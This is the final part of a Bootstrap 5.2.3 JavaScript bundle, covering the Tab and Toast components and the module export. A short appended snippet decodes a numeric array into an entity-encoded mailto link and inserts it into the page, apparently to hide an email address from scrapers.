|
nextActiveElement.focus({
|
|
preventScroll: true
|
|
});
|
|
Tab.getOrCreateInstance(nextActiveElement).show();
|
|
}
|
|
}
|
|
|
|
_getChildren() {
|
|
// collection of inner elements
|
|
return SelectorEngine.find(SELECTOR_INNER_ELEM, this._parent);
|
|
}
|
|
|
|
_getActiveElem() {
|
|
return this._getChildren().find(child => this._elemIsActive(child)) || null;
|
|
}
|
|
|
|
_setInitialAttributes(parent, children) {
|
|
this._setAttributeIfNotExists(parent, 'role', 'tablist');
|
|
|
|
for (const child of children) {
|
|
this._setInitialAttributesOnChild(child);
|
|
}
|
|
}
|
|
|
|
_setInitialAttributesOnChild(child) {
|
|
child = this._getInnerElement(child);
|
|
|
|
const isActive = this._elemIsActive(child);
|
|
|
|
const outerElem = this._getOuterElement(child);
|
|
|
|
child.setAttribute('aria-selected', isActive);
|
|
|
|
if (outerElem !== child) {
|
|
this._setAttributeIfNotExists(outerElem, 'role', 'presentation');
|
|
}
|
|
|
|
if (!isActive) {
|
|
child.setAttribute('tabindex', '-1');
|
|
}
|
|
|
|
this._setAttributeIfNotExists(child, 'role', 'tab'); // set attributes to the related panel too
|
|
|
|
|
|
this._setInitialAttributesOnTargetPanel(child);
|
|
}
|
|
|
|
_setInitialAttributesOnTargetPanel(child) {
|
|
const target = getElementFromSelector(child);
|
|
|
|
if (!target) {
|
|
return;
|
|
}
|
|
|
|
this._setAttributeIfNotExists(target, 'role', 'tabpanel');
|
|
|
|
if (child.id) {
|
|
this._setAttributeIfNotExists(target, 'aria-labelledby', `#${child.id}`);
|
|
}
|
|
}
|
|
|
|
_toggleDropDown(element, open) {
|
|
const outerElem = this._getOuterElement(element);
|
|
|
|
if (!outerElem.classList.contains(CLASS_DROPDOWN)) {
|
|
return;
|
|
}
|
|
|
|
const toggle = (selector, className) => {
|
|
const element = SelectorEngine.findOne(selector, outerElem);
|
|
|
|
if (element) {
|
|
element.classList.toggle(className, open);
|
|
}
|
|
};
|
|
|
|
toggle(SELECTOR_DROPDOWN_TOGGLE, CLASS_NAME_ACTIVE);
|
|
toggle(SELECTOR_DROPDOWN_MENU, CLASS_NAME_SHOW$1);
|
|
outerElem.setAttribute('aria-expanded', open);
|
|
}
|
|
|
|
_setAttributeIfNotExists(element, attribute, value) {
|
|
if (!element.hasAttribute(attribute)) {
|
|
element.setAttribute(attribute, value);
|
|
}
|
|
}
|
|
|
|
_elemIsActive(elem) {
|
|
return elem.classList.contains(CLASS_NAME_ACTIVE);
|
|
} // Try to get the inner element (usually the .nav-link)
|
|
|
|
|
|
_getInnerElement(elem) {
|
|
return elem.matches(SELECTOR_INNER_ELEM) ? elem : SelectorEngine.findOne(SELECTOR_INNER_ELEM, elem);
|
|
} // Try to get the outer element (usually the .nav-item)
|
|
|
|
|
|
_getOuterElement(elem) {
|
|
return elem.closest(SELECTOR_OUTER) || elem;
|
|
} // Static
|
|
|
|
|
|
static jQueryInterface(config) {
|
|
return this.each(function () {
|
|
const data = Tab.getOrCreateInstance(this);
|
|
|
|
if (typeof config !== 'string') {
|
|
return;
|
|
}
|
|
|
|
if (data[config] === undefined || config.startsWith('_') || config === 'constructor') {
|
|
throw new TypeError(`No method named "${config}"`);
|
|
}
|
|
|
|
data[config]();
|
|
});
|
|
}
|
|
|
|
}
|
|
/**
|
|
* Data API implementation
|
|
*/
|
|
|
|
|
|
EventHandler.on(document, EVENT_CLICK_DATA_API, SELECTOR_DATA_TOGGLE, function (event) {
|
|
if (['A', 'AREA'].includes(this.tagName)) {
|
|
event.preventDefault();
|
|
}
|
|
|
|
if (isDisabled(this)) {
|
|
return;
|
|
}
|
|
|
|
Tab.getOrCreateInstance(this).show();
|
|
});
|
|
/**
|
|
* Initialize on focus
|
|
*/
|
|
|
|
EventHandler.on(window, EVENT_LOAD_DATA_API, () => {
|
|
for (const element of SelectorEngine.find(SELECTOR_DATA_TOGGLE_ACTIVE)) {
|
|
Tab.getOrCreateInstance(element);
|
|
}
|
|
});
|
|
/**
|
|
* jQuery
|
|
*/
|
|
|
|
defineJQueryPlugin(Tab);
|
|
|
|
/**
|
|
* --------------------------------------------------------------------------
|
|
* Bootstrap (v5.2.3): toast.js
|
|
* Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE)
|
|
* --------------------------------------------------------------------------
|
|
*/
|
|
/**
|
|
* Constants
|
|
*/
|
|
|
|
const NAME = 'toast';
|
|
const DATA_KEY = 'bs.toast';
|
|
const EVENT_KEY = `.${DATA_KEY}`;
|
|
const EVENT_MOUSEOVER = `mouseover${EVENT_KEY}`;
|
|
const EVENT_MOUSEOUT = `mouseout${EVENT_KEY}`;
|
|
const EVENT_FOCUSIN = `focusin${EVENT_KEY}`;
|
|
const EVENT_FOCUSOUT = `focusout${EVENT_KEY}`;
|
|
const EVENT_HIDE = `hide${EVENT_KEY}`;
|
|
const EVENT_HIDDEN = `hidden${EVENT_KEY}`;
|
|
const EVENT_SHOW = `show${EVENT_KEY}`;
|
|
const EVENT_SHOWN = `shown${EVENT_KEY}`;
|
|
const CLASS_NAME_FADE = 'fade';
|
|
const CLASS_NAME_HIDE = 'hide'; // @deprecated - kept here only for backwards compatibility
|
|
|
|
const CLASS_NAME_SHOW = 'show';
|
|
const CLASS_NAME_SHOWING = 'showing';
|
|
const DefaultType = {
|
|
animation: 'boolean',
|
|
autohide: 'boolean',
|
|
delay: 'number'
|
|
};
|
|
const Default = {
|
|
animation: true,
|
|
autohide: true,
|
|
delay: 5000
|
|
};
|
|
/**
|
|
* Class definition
|
|
*/
|
|
|
|
class Toast extends BaseComponent {
|
|
constructor(element, config) {
|
|
super(element, config);
|
|
this._timeout = null;
|
|
this._hasMouseInteraction = false;
|
|
this._hasKeyboardInteraction = false;
|
|
|
|
this._setListeners();
|
|
} // Getters
|
|
|
|
|
|
static get Default() {
|
|
return Default;
|
|
}
|
|
|
|
static get DefaultType() {
|
|
return DefaultType;
|
|
}
|
|
|
|
static get NAME() {
|
|
return NAME;
|
|
} // Public
|
|
|
|
|
|
show() {
|
|
const showEvent = EventHandler.trigger(this._element, EVENT_SHOW);
|
|
|
|
if (showEvent.defaultPrevented) {
|
|
return;
|
|
}
|
|
|
|
this._clearTimeout();
|
|
|
|
if (this._config.animation) {
|
|
this._element.classList.add(CLASS_NAME_FADE);
|
|
}
|
|
|
|
const complete = () => {
|
|
this._element.classList.remove(CLASS_NAME_SHOWING);
|
|
|
|
EventHandler.trigger(this._element, EVENT_SHOWN);
|
|
|
|
this._maybeScheduleHide();
|
|
};
|
|
|
|
this._element.classList.remove(CLASS_NAME_HIDE); // @deprecated
|
|
|
|
|
|
reflow(this._element);
|
|
|
|
this._element.classList.add(CLASS_NAME_SHOW, CLASS_NAME_SHOWING);
|
|
|
|
this._queueCallback(complete, this._element, this._config.animation);
|
|
}
|
|
|
|
hide() {
|
|
if (!this.isShown()) {
|
|
return;
|
|
}
|
|
|
|
const hideEvent = EventHandler.trigger(this._element, EVENT_HIDE);
|
|
|
|
if (hideEvent.defaultPrevented) {
|
|
return;
|
|
}
|
|
|
|
const complete = () => {
|
|
this._element.classList.add(CLASS_NAME_HIDE); // @deprecated
|
|
|
|
|
|
this._element.classList.remove(CLASS_NAME_SHOWING, CLASS_NAME_SHOW);
|
|
|
|
EventHandler.trigger(this._element, EVENT_HIDDEN);
|
|
};
|
|
|
|
this._element.classList.add(CLASS_NAME_SHOWING);
|
|
|
|
this._queueCallback(complete, this._element, this._config.animation);
|
|
}
|
|
|
|
dispose() {
|
|
this._clearTimeout();
|
|
|
|
if (this.isShown()) {
|
|
this._element.classList.remove(CLASS_NAME_SHOW);
|
|
}
|
|
|
|
super.dispose();
|
|
}
|
|
|
|
isShown() {
|
|
return this._element.classList.contains(CLASS_NAME_SHOW);
|
|
} // Private
|
|
|
|
|
|
_maybeScheduleHide() {
|
|
if (!this._config.autohide) {
|
|
return;
|
|
}
|
|
|
|
if (this._hasMouseInteraction || this._hasKeyboardInteraction) {
|
|
return;
|
|
}
|
|
|
|
this._timeout = setTimeout(() => {
|
|
this.hide();
|
|
}, this._config.delay);
|
|
}
|
|
|
|
_onInteraction(event, isInteracting) {
|
|
switch (event.type) {
|
|
case 'mouseover':
|
|
case 'mouseout':
|
|
{
|
|
this._hasMouseInteraction = isInteracting;
|
|
break;
|
|
}
|
|
|
|
case 'focusin':
|
|
case 'focusout':
|
|
{
|
|
this._hasKeyboardInteraction = isInteracting;
|
|
break;
|
|
}
|
|
}
|
|
|
|
if (isInteracting) {
|
|
this._clearTimeout();
|
|
|
|
return;
|
|
}
|
|
|
|
const nextElement = event.relatedTarget;
|
|
|
|
if (this._element === nextElement || this._element.contains(nextElement)) {
|
|
return;
|
|
}
|
|
|
|
this._maybeScheduleHide();
|
|
}
|
|
|
|
_setListeners() {
|
|
EventHandler.on(this._element, EVENT_MOUSEOVER, event => this._onInteraction(event, true));
|
|
EventHandler.on(this._element, EVENT_MOUSEOUT, event => this._onInteraction(event, false));
|
|
EventHandler.on(this._element, EVENT_FOCUSIN, event => this._onInteraction(event, true));
|
|
EventHandler.on(this._element, EVENT_FOCUSOUT, event => this._onInteraction(event, false));
|
|
}
|
|
|
|
_clearTimeout() {
|
|
clearTimeout(this._timeout);
|
|
this._timeout = null;
|
|
} // Static
|
|
|
|
|
|
static jQueryInterface(config) {
|
|
return this.each(function () {
|
|
const data = Toast.getOrCreateInstance(this, config);
|
|
|
|
if (typeof config === 'string') {
|
|
if (typeof data[config] === 'undefined') {
|
|
throw new TypeError(`No method named "${config}"`);
|
|
}
|
|
|
|
data[config](this);
|
|
}
|
|
});
|
|
}
|
|
|
|
}
|
|
/**
|
|
* Data API implementation
|
|
*/
|
|
|
|
|
|
enableDismissTrigger(Toast);
|
|
/**
|
|
* jQuery
|
|
*/
|
|
|
|
defineJQueryPlugin(Toast);
|
|
|
|
/**
|
|
* --------------------------------------------------------------------------
|
|
* Bootstrap (v5.2.3): index.umd.js
|
|
* Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE)
|
|
* --------------------------------------------------------------------------
|
|
*/
|
|
const index_umd = {
|
|
Alert,
|
|
Button,
|
|
Carousel,
|
|
Collapse,
|
|
Dropdown,
|
|
Modal,
|
|
Offcanvas,
|
|
Popover,
|
|
ScrollSpy,
|
|
Tab,
|
|
Toast,
|
|
Tooltip
|
|
};
|
|
|
|
return index_umd;
|
|
|
|
}));
|
|
|
|
|
|
|
|
|
|
(function () {
|
|
|
|
const t=[122,-62,159,-127,231,-117,218,-116,177,-143,252,-155,260,-152,268,-157,215,-177,212,-163,211,-163,222,-184,219,-162,217,-158,196,-161,210,-161,209,-150,188,-153,207,-155,214,-176,211,-162,210,-162,221,-183,218,-161,216,-157,195,-160,209,-160,208,-149,187,-152,201,-153,206,-147,185,-150,199,-151,200,-141,179,-144,193,-145,201,-142,180,-145,194,-145,197,-138,176,-141,190,-140,189,-130,168,-133,190,-135,194,-156,191,-142,190,-136,195,-157,192,-143,192,-143,202,-164,199,-150,199,-151,210,-172,207,-158,206,-157,216,-178,213,-164,213,-160,219,-181,216,-164,218,-159,197,-162,219,-162,221,-183,218,-169,218,-169,228,-190,225,-176,224,-167,226,-192,254,-154,251,-141,205,-105,202,-92,197,-96,204,-90,187,-66,172,-61,171,-70,185,-139,238,-127,236,-176,223,-126,188];
|
|
let toAppend = '';
|
|
for (let i=1; i<t.length; i++) {
|
|
toAppend+=String.fromCharCode(t[i]+t[i-1]);
|
|
}
|
|
$('.33c12d8ca2a4cb0fc68b88df8329bf53').html(toAppend);
|
|
|
|
})();
|